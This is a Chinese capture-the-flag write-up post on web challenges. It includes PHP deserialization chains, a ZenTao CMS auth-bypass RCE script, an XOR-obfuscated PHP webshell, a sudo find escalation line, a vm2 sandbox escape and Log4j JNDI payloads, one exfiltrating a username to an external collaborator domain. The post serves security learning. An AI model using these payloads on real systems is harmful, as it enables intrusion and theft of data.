文章目录
- NKCTF
- baby_php
- ez_php
- hard_php
- easy_pms
- easy_cms
- WebPageTest
- xiaopi
- CTFshow愚人赛
- easy_signin
- easy_ssti
- ez_flask
- 被遗忘的反序列化
- easy_php
- 杭师大CTF
- findme
- ez_java
- eznode
NKCTF
baby_php
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'oww!man!!';
public function __construct(){
$this->name = 'ItS SO CREAZY';
}
public function __destruct(){
if($this->name == 'welcome_to_NKCTF'){
echo $this->arg;
}
}
}
function waf($string){
if(preg_match('/f|l|a|g|\*|\?/i', $string)){
die("you are bad");
}
}
class Happy{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
}
}
class Hell0{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
if(isset($_GET['p'])){
unserialize($_GET['p']);
}else{
highlight_file(__FILE__);
}
?>
很基础的反序列化
先dir / 读到文件名是f1ag
唯一要绕的点是如何读f1ag,这里用[!]来替换通配符?
[!q]表示匹配非q的字符
poc:
<?php
class Welcome{
public $name;
public $arg;
public function __construct($ar){
$this->name = 'welcome_to_NKCTF';
$this->arg = $ar;
}
}
function waf($string){
if(preg_match('/f|l|a|g|\*|\?/i', $string)){
die("you are bad");
}
}
class Happy{
public $shell;
public $cmd;
public function __construct($sh,$cm){
$this->shell=$sh;
$this->cmd=$cm;
}
}
class Hell0{
public $func;
public function __construct($fu){
$this->func = $fu;
}
}
$s = new Welcome(new Hell0(new Happy('system','sort /[!q]1[!q][!q]')));
echo (serialize($s));
ez_php
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])){
if((string)$_POST['c'] != (string)$_POST['d'] && sha1($_POST['c']) === sha1($_POST['d'])){
if($_GET['e'] != 114514 && intval($_GET['e']) == 114514){
if(isset($_GET['NS_CTF.go'])){
if(isset($_POST['cmd'])){
if(!preg_match('/[0-9a-zA-Z]/i', $_POST['cmd'])){
eval($_POST['cmd']);
}else{
die('error!!!!!!');
}
}else{
die('error!!!!!');
}
}else{
die('error!!!!');
}
}else{
die('error!!!');
}
}else{
die('error!!');
}
}else{
die('error!');
}
?>
签到难度,不过这里的sha1强比较试了挺多payload才好,post一定要urlencode
下划线_用[替代即可,无数字字母rce就行了
hard_php
<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['NKCTF'])) {
$NK = $_POST['NKCTF'];
if (is_string($NK)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$NK) && strlen($NK) < 105){
eval($NK);
}else{
echo("hacker!!!");
}
}else{
phpinfo();
}
}
?>
由ctfshow最近的rce专项赛改编,原题没有限制字符长度
这里也提示// not only ++
所以应该不是自增来拿字符了,但是通过自增可以拿到一点数字
还有什么方法
发现好像是原题 RCE挑战5
先读phpinfo,传数组即可,禁用了很多函数,不过用highlight_file读即可
easy_pms
禅道 CMS 版本 18.0
有个python脚本可以检测漏洞存在,稍微改了一下就行
# -*- coding: UTF-8 -*-
# !/usr/bin/python
'''
权限绕过+RCE POC 伪静态传参版
禅道系统 影响版本 安全版本
开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2
旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2
企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
'''
import requests
proxies = {
#"http": "127.0.0.1:8080",
#"https": "127.0.0.1:8080",
}
def check(url):
url="http://075a86dd-ec64-411c-a576-7c6548a19b4a.node2.yuzhian.com.cn/"
url1 = url+'/misc-captcha-user.html'
# url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
# url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
url3 = url + 'repo-create.html'
url4 = url + 'repo-edit-10000-10000.html'
headers={
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language":"zh-CN,zh;q=0.9",
"Cookie":"zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
}
headers2 = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
"Content-Type":"application/x-www-form-urlencoded",
"X-Requested-With":"XMLHttpRequest",
"Referer":url+"/repo-edit-1-0.html"
}
data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
data2 ={
'SCM':'Subversion',
'client':"`tac /f*`"
}
#data2 = 'SCM=Subversion&client=`id`'
s=requests.session()
try:
req1 = s.get(url1,proxies=proxies,timeout=5,verify=False,headers=headers)
req3 = s.post(url3,data=data1,proxies=proxies,timeout=5,verify=False,headers=headers2)
req4 = s.post(url4,data=data2,proxies=proxies,timeout=5,verify=False,headers=headers2)
print(req4.text)
if 'uid=' in req4.text:
print(url,"")
return True
except Exception as e:
print(e)
return False
if __name__ == '__main__':
print(check("http://075a86dd-ec64-411c-a576-7c6548a19b4a.node2.yuzhian.com.cn/"))
easy_cms
后台路径/dede
用户名密码都是admin
进入管理页面。方法就多了,很多师傅也都是直接在模板文件中直接写了个webshell,需要搞一下免杀就行,比如无字母rce
比如异或webshell:
<?=@("Y;HJ(Z"^"8H;/Z.")(${"~?}$"^"!x8p"}[1]); //get pass=1
我的做法也大同小异,其实可以删除一些匹配的black_list,删除后经过测试只会禁用POST,模板文件直接执行命令即可。
WebPageTest
https://xz.aliyun.com/t/11798#toc-2
就是这个点,注意kali下的php.ini 也要设置一下phar
跟着文章打payload即可,解决工具报错就行
xiaopi
就是最近爆出的洞
登录页面触发XSS进而可以通过poc来rce
路径不知道,通过增加X-Requested-With: XMLHttpRequest 来拿到首页
经过测试XSS能执行成功,也能拿到cookie
小皮面板这题卡了一天是由于最后执行命令不成功
网上流传的测试poc尽数是创建文件
我想当然地也去创建文件了,继而写马即可
由于不太确定文件路径,所以我一直怀疑是我的文件路径设置的有问题所以没成功,linux下的小皮面板路径我也摸了很多,大概是 /www/wwwroot/phpstudy/index.php
,因为一直出不来就反复摆烂了,最后一天去看misc居多了。
好吧,最后wp都是反弹shell,其实我剩最后几分钟时候有尝试反弹shell,大概率是某个地方写错了,导致没连接上。这下长记性了。
并且网上有位大哥直播分享了刚刚挖到新的点,试了试没试出来。也分享一下
https://www.bilibili.com/video/BV1Yc411j7TP/
https://f5.pm/go-155268.html
这个sql堆叠,我看某个wp是有师傅利用到了,但是密码是三次MD5加密。
CTFshow愚人赛
easy_signin
base64文件名读取图片
拿到index.php的图片后解码bsae64就有flag
easy_ssti
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)
@app.route('/hello/')
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'
这里ls /没有出来,用的 cd …
ez_flask
这个是我出的题目,准备来出给学校的校赛的,所以难度还是非常友好的。没有意外,都被师傅们签到了hhh。
flask的session伪造 + 任意文件下载 + python命令执行
存在admin账户,密码不能爆破。注册新用户后登录
首页有一个learn连接和需要role为admin的提示
learn连接暴露了session的密钥,由此可以进行session伪造
拿到admin的权限,会多出一个下载功能点,点击之后下载的是fakeflag,这里需要观察一下前端的a标签路径
通过经验或者learn页面的注释,去下载app.py可以成功拿到源码
/download/?filename=app.py
有一个简单的命令执行路由
源码没有提供os库。需要自己引入一下os库,即可
__import__("os").popen("ls").read();
可以用这个payload直接读
被遗忘的反序列化
<?php
# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");
class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}
public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}
public function __clone(){
$a = new cycycycy;
$a -> aaa();
}
}
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}
public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __destruct(){
echo $this->aaa;
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);
存在非预期,直接内置类打
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}
因为这里的$this->coos
和 $this->file
都可控,那就可以使用经典的echo new a(b)的payload
⾸先⽤能遍历⽬录的原⽣类,⽐如DirectoryIterator结合glob读⽂件名
?a=DirectoryIterator&b=glob:///f*
然后⽤SplFileObject去读⽂件
?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php
大致原理如此,可参考https://mp.weixin.qq.com/s/CDNU1RgfeliURN69UZqCTA
这题如何利用呢,先触发一下__toString()
class w_wuw_w{
public $aaa;
public function __destruct(){
echo $this->aaa;
}
也可直接忽略wakeup,destruct()直接有echo,可以触发tostring
<?php
class gBoBg{
public $name='aa';
public $file='glob:///f*';
public $coos='DirectoryIterator';
}
class w_wuw_w{
public $aaa;
public function __construct($a)
{
$this->aaa =$a;
}
}
$s = new w_wuw_w(new gBoBg());
echo serialize($s);
O:7:"w_wuw_w":1:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";s:2:"aa";s:4:"file";s:10:"glob:///f*";s:4:"coos";s:17:"DirectoryIterator";}}
然后反序列化点是$_SERVER["HTTP_AAAAAA"];
就是请求头AAAAAA
然后⽤SplFileObject去读flag⽂件
easy_php
反序列化学到新trick
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow{
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
system($this->ctfshow);
}
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
不能以O和a开头,在php低版本中,O或a的冒号后的数字前可以加一个+来进行绕过,不过这个版本不行
还有一种方式是C开头
参考:https://wiki.php.net/rfc/custom_object_serialization
实现Serializable
接口的类使用C
格式编码,基本上是C:ClassNameLen:"ClassName":PayloadLen:{Payload}
,其中Payload
是任意字符串
根据这个格式,造了个payload是C:7:"ctfshow":27:{s:7:"ctfshow";s:6:"whoami";}
本地debug时候发现属性还是赋值不成功
原因是不能这样随意构造,需要利用内置了Serializable
接口的类,比如ArrayObject
参考:https://www.php.net/manual/zh/arrayobject.serialize.php
使用这个类去修饰ctfshow
类
<?php
class ctfshow{
public $ctfshow = 'whoami';
}
$a= new ArrayObject();
$a -> b= new ctfshow();
echo serialize($a);
?>
C:11:"ArrayObject":74:{x:i:0;a:0:{};m:a:1:{s:1:"b";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}}}
杭师大CTF
findme
都得有root权限
也不能创文件,试了试无回显也都不行
试了下echo是可以的,偶然发现echo *是可以读目录的,之前不知道。。
然而读文件还是不行
还有个start.sh以为是重大hint嘞
后来就把目光放在了tmp,因为tmp可以普通权限
tmp 目录可以群魔乱舞了,但是不能读文件
tmp目录创建后 也不能执行。。还是没权限执行,但是chmod又不能用,卡住了
wp出来了,学习了一波
usr/bin 下有sudo程序 /bin 存放所有用户皆可用的系统程序
用sudo提权find命令
find anyfile -exec whoami \;
ez_java
Try to fxxk it ( Log4j
I will log your uri. hint:fastjson 1.2.48
没接写过java的题目,根据提示是 fastjson 1.2.48利用log4j
不过这个是个很典型的漏洞利用了
可以用payload进行漏洞检测
url/${jndi:ldap://your_ip:your_port/Exploit}
确实能检测到
包括去试了一下dnslog查看用户,也是可以外带出来
/${jndi:ldap://${sys:user.name}.tpmki06srmv54i2xdrz201dpigo9cy.oastify.com/exp}
如何RCE或者反弹shell还是需要学一下log4j的利用方法
参考文章:
https://www.cnblogs.com/peace-and-romance/p/15717457.html
https://www.freebuf.com/articles/web/358670.html
https://blog.csdn.net/qq_44159028/article/details/123397534
eznode
/app.js
泄露源码
const express = require('express');
const app = express();
const { VM } = require('vm2');
app.use(express.json());
const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});
app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})
app.listen(3000, function () {
console.log('start listening on port 3000');
});
引用了vm2,并且存在merge方法,存在原型链污染漏洞
backdoor方法new VM().run({}.shellcode);
原型链污染进行vm2沙箱逃逸 ,学习一下
https://xz.aliyun.com/t/11859
https://xilitter.github.io/2023/01/31/vm%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%88%9D%E6%8E%A2/index.html
vm2沙箱逃逸的payload:
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();